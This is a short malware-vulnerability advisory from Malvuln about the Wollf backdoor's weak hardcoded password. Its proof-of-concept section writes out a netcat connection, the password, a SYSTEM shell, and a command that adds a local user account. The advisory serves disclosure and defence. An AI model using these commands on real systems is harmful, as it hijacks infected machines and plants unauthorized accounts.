Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/52d1341f73c34ba2638581469120b68a.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.a
Vulnerability: Weak Hardcoded Password 
Description: The malware listens on TCP port 1698 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "23706373" is weak and hardcoded within the executable. The malware is packed with UPX and exposes the cleartext all numeric credentials when decompressed.
Type: PE32
MD5: 52d1341f73c34ba2638581469120b68a
Vuln ID: MVID-2021-0404
Dropped files: keygen.exe
Disclosure: 11/21/2021

Exploit/PoC:
nc64.exe x.x.x.x 1698
Login: 23706373

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).